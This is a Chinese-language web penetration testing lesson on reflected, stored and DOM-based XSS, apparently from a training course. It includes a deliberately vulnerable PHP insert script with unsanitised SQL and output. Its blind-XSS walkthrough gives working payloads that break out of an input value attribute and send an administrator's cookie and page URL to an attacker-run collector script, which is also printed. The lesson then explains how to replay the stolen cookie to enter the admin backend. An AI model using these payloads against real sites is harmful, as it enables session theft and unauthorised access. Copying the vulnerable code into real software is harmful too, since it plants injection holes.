做網(wǎng)站的主機(jī)配置推銷產(chǎn)品怎么推廣
day3-xss漏洞(米斯特web滲透測試)
- XSS
- Xss種類三種反射型
- 1.反射型xss
- 2.存儲(chǔ)型xss
- 3.DOM型xss
XSS
??Xss有一部分是前端的有一部分不是前端的,我們來看一下,昨天的HTML注入修復(fù)方法應(yīng)靈活使用。
??HTML注入是注入一段HTML,那么HTML里面包含了css,js。昨天css也利用過了(如用黑色背景將其覆蓋掉,把下面用白色背景覆蓋掉,再寫上登錄框)。Xss也可以這樣利用。
??Xss實(shí)際上是插入一段JavaScript代碼,但JavaScript代碼是可以使用HTML標(biāo)簽調(diào)用的。
看上方的http://html.php?html=<script>alert(1)</script>,導(dǎo)致右下方彈出一個(gè)含1的框。
alert(1)彈出一個(gè)框內(nèi)容是里面的東西。
Xss和HTML注入都是將一段代碼插入頁面中。
Xss種類三種反射型
1.反射型xss
??反射型xss(白帽子發(fā)送了一個(gè)xss代碼到服務(wù)器上,需要經(jīng)過服務(wù)器PHP代碼查看處理的,處理完后會(huì)將這段代碼返回,返回會(huì)在瀏覽器上 看得到,如果此時(shí)存在xss那就會(huì)彈出上面這個(gè)框。)
??Payload有效載荷,它的實(shí)際意思是測試了一段payload測試了一段代碼,相當(dāng)于xss代碼相當(dāng)于HTML注入的代碼。在輸入xss代碼時(shí)瀏覽器可能會(huì)攔截可以關(guān)掉攔截。直接用火狐瀏覽器吧。在火狐沒有攔截,可以彈框的。當(dāng)彈框后就檢測成功了,還沒有達(dá)到利用程度。其實(shí)自帶的E瀏覽器也是可以使用的。
2.存儲(chǔ)型xss
??存儲(chǔ)型xss(現(xiàn)在只講檢測不講利用,等會(huì)再利用)瀏覽器發(fā)送一段payload一段xss代碼到服務(wù)器,服務(wù)器后端代碼經(jīng)過處理要存儲(chǔ)給數(shù)據(jù)庫,而這個(gè)測試的頁面后端的代碼從數(shù)據(jù)庫查詢過來的東西。查詢你插入的這段代碼,并把你這段代碼輸送到頁面中。這時(shí)如果你在輸出的時(shí)候沒有做限制,或者你在瀏覽器剛開始發(fā)送的時(shí)候沒有做限制。輸入點(diǎn)和輸出點(diǎn)沒有做限制是存在漏洞的那我們來看一下。
??如上圖所示,左上方有個(gè)網(wǎng)站,有個(gè)名字(代碼),我們點(diǎn)擊添加,發(fā)現(xiàn)他的數(shù)據(jù)庫中的name這一列多了一個(gè)名字(代碼),那么我們?nèi)フ覍?yīng)的頁面,可以看到頁面一打開就彈出了一個(gè)xss,因?yàn)閚ame值是xss代碼,輸出的也是直接把xss代碼解析了,所以才會(huì)有這個(gè)彈框。
接下來實(shí)戰(zhàn)一下
下面是safe.php的代碼
<?php
$conn = mysql_connect('localhost','root','root') or die('bad!');//連接數(shù)據(jù)庫
mysql_query("SET NAMES utf-8'");
mysql_select_db('xsstest',$conn) OR emMsg("數(shù)據(jù)庫連接失敗");//選擇一個(gè)數(shù)據(jù)庫
if (@$_POST['name']) {$name = $_POST['name'];$sql = "INSERT INIO 'admin' ('name') VALUES ('{$name}');";$result = mysql_query($sql,$conn) or die(mysql_error());echo "<script>alert(/添加成功!/)</script>";
}
?>
<!DOCTYPE html>
<html>
<head><meta charset="utf-8" /><title>用戶添加</title>
</head>
<body>
<form action="" method="post">name:<input type="text" name="name"><br><input type="submit" value="add">
</form>
</body>
</html>
??個(gè)人中心這一塊怎么利用,我們只需讓攻擊者在被攻擊者訪問這個(gè),現(xiàn)在保密,在下個(gè)漏洞講,需要結(jié)合另一個(gè)漏洞
3.DOM型xss
??DOM型xss,這個(gè)js可以操作前端的代碼,是前端中的王者。DOM型xss是因?yàn)镴avaScript出了問題,前端的代碼出了問題才導(dǎo)致的這些DOM節(jié)點(diǎn)被修改、創(chuàng)建、刪除。
??DOM發(fā)送并返回,整個(gè)操作在瀏覽器中進(jìn)行,而反射型(發(fā)給服務(wù)器處理并返回,無持久性,刪除了這段url代碼就沒有漏洞)、存儲(chǔ)型(發(fā)給服務(wù)器處理、存儲(chǔ)、再返回,在數(shù)據(jù)庫中有持久性)都需發(fā)給服務(wù)器。
??基于DOM的跨站點(diǎn)腳本不需要依賴于服務(wù)器端響應(yīng)的內(nèi)容,如果某些HTML頁面使用了document.location\document.URL或者document.referer等DOM元素的屬性,攻擊者可以利用這些屬性植入惡意腳本實(shí)施基于DOM的跨站點(diǎn)腳本攻擊。
??他們的危害是類似的,存儲(chǔ)型xss危害相對較大
??這個(gè)存儲(chǔ)型如果在個(gè)人中心利用的話會(huì)比較麻煩,我們來看一下xss盲打的實(shí)例,假設(shè)在一個(gè)公司工作,客戶給一個(gè)留言板,要求測試此留言板是否有漏洞,因?yàn)閷W(xué)了xss剛剛,這時(shí)先測一下有沒有xss漏洞。
??一切前端的屬性限制在審查元素中是無效的,若是輸入密碼或賬號(hào)有字?jǐn)?shù)限制,可以在審查元素中看到maxlength這一屬性將其字?jǐn)?shù)限制修改,然后在頁面就能成功了。
??注意你發(fā)表留言,你能看到嗎?提交時(shí)發(fā)現(xiàn)提交成功,留言需經(jīng)管理員審核才能發(fā)布,想一下,如果管理員發(fā)現(xiàn)怎么辦,管理員后臺(tái)如果過觸發(fā)了這段代碼怎么辦或者將這些代碼刪掉了怎么辦(并沒有點(diǎn)擊進(jìn)去看)
??注意盡量在姓名和郵箱這邊不要插入xss代碼,姓名后端也會(huì)給限制,或者郵箱無@等格式也不給發(fā)送給管理員,所以一般會(huì)在留言內(nèi)容中插入<script>alert(1)</script>
進(jìn)行測試,自己這邊代碼并未執(zhí)行,而管理員點(diǎn)進(jìn)去之后代碼也并未執(zhí)行到底是為什么呢然而在審查元素時(shí)會(huì)發(fā)現(xiàn),它是被HTML實(shí)體化編碼了,這個(gè)xss代碼并未被解析。兩個(gè)思路一個(gè)不干了,一個(gè)研究xss的payload能去解析才行。
<input type="submit" value="<script>alert(1)</script>">,注意xss代碼在value中前后被“”包起來了,想一下,我們也可以輸入雙引號(hào)進(jìn)去,在input標(biāo)簽內(nèi)左右尖括號(hào)包好,如何構(gòu)建此payload另其真正的被執(zhí)行解析呢
<input type="submit" value=""><script>alert(1)</script>">將上面的xss代碼變?yōu)?#34;><script>alert(1)</script>就能從value中逃逸出來。當(dāng)你以這個(gè)代碼輸入到瀏覽內(nèi)容并發(fā)送時(shí),管理員打開就會(huì)觸發(fā)xss,然后就彈出1了。這時(shí)你就會(huì)想管理員彈出1了我們怎么知道,要知道js代碼什么都可以控制,管理員去訪問我們的一個(gè)文件,我們可以記錄一下誰訪問我們的文件,document.location.href=”http://www.hi-ourlife.com/”。將輸入的內(nèi)容變成
"><script>document.location.href=”http://www.hi-ourlife.com/”</script>此時(shí)這個(gè)網(wǎng)站會(huì)有記錄。
??有個(gè)getcookie.php,有些數(shù)據(jù)要存在客戶端,cookie主要是用于辨別用戶,也算是憑證吧,我們獲取了它的cookie獲取了它的憑證,獲取了其管理員的憑證,第一步即驗(yàn)證了這個(gè)漏洞真實(shí)存在,第二個(gè)我們獲取了它的憑證就能登錄其后臺(tái)。我們就可以試試,那怎么構(gòu)建呢?
??此getcookie.php是放在我們的網(wǎng)站下面的路徑就是
http://192.168.0.109/mst/getcookie.php?cookie=
<?php
if (file_put_contents("cookie.txt", 'Cookie:'.$_GET['cookie'],FILE_APPEND)) {echo "ok";
}
?>
document.cookie在自己的網(wǎng)站中也可以獲取cookie
接下來我們在留言板內(nèi)容中輸入”><script>document.location.href=”http://192.168.0.109/mst/getcookie.php?cookie=”+document.cookie</script>但是我們獲取了cookie之后但不知道后臺(tái)是什么,還需要將后臺(tái)獲取出來。
故在留言板中的內(nèi)容要輸入下方代碼
“><script>document.location.href=”http://192.168.0.109/mst/getcookie.php?cookie=”+document.cookie+”&durl=”+document.URL</script>
??我們已經(jīng)在生成的txt文件中獲得管理員的cookie了,那如何使用呢?很簡單,火狐瀏覽器打開,安裝一個(gè)插件firebug,安裝好后會(huì)令你重啟一個(gè)瀏覽器,重啟,右鍵使用firebug查看元素,此時(shí)點(diǎn)擊cookie,編輯一下,將獲得的cookie寫入,也可以將cookie失效日期更改然后再點(diǎn)擊輸入管理員網(wǎng)站,注意要改成會(huì)話模式。此時(shí)注意可以進(jìn)來了。
??當(dāng)然xss也會(huì)有httponly這個(gè)也是希望大家課后自主學(xué)習(xí)一下,今天先到這明天還會(huì)講之前的個(gè)人中心漏洞打一個(gè)組合拳一起利用。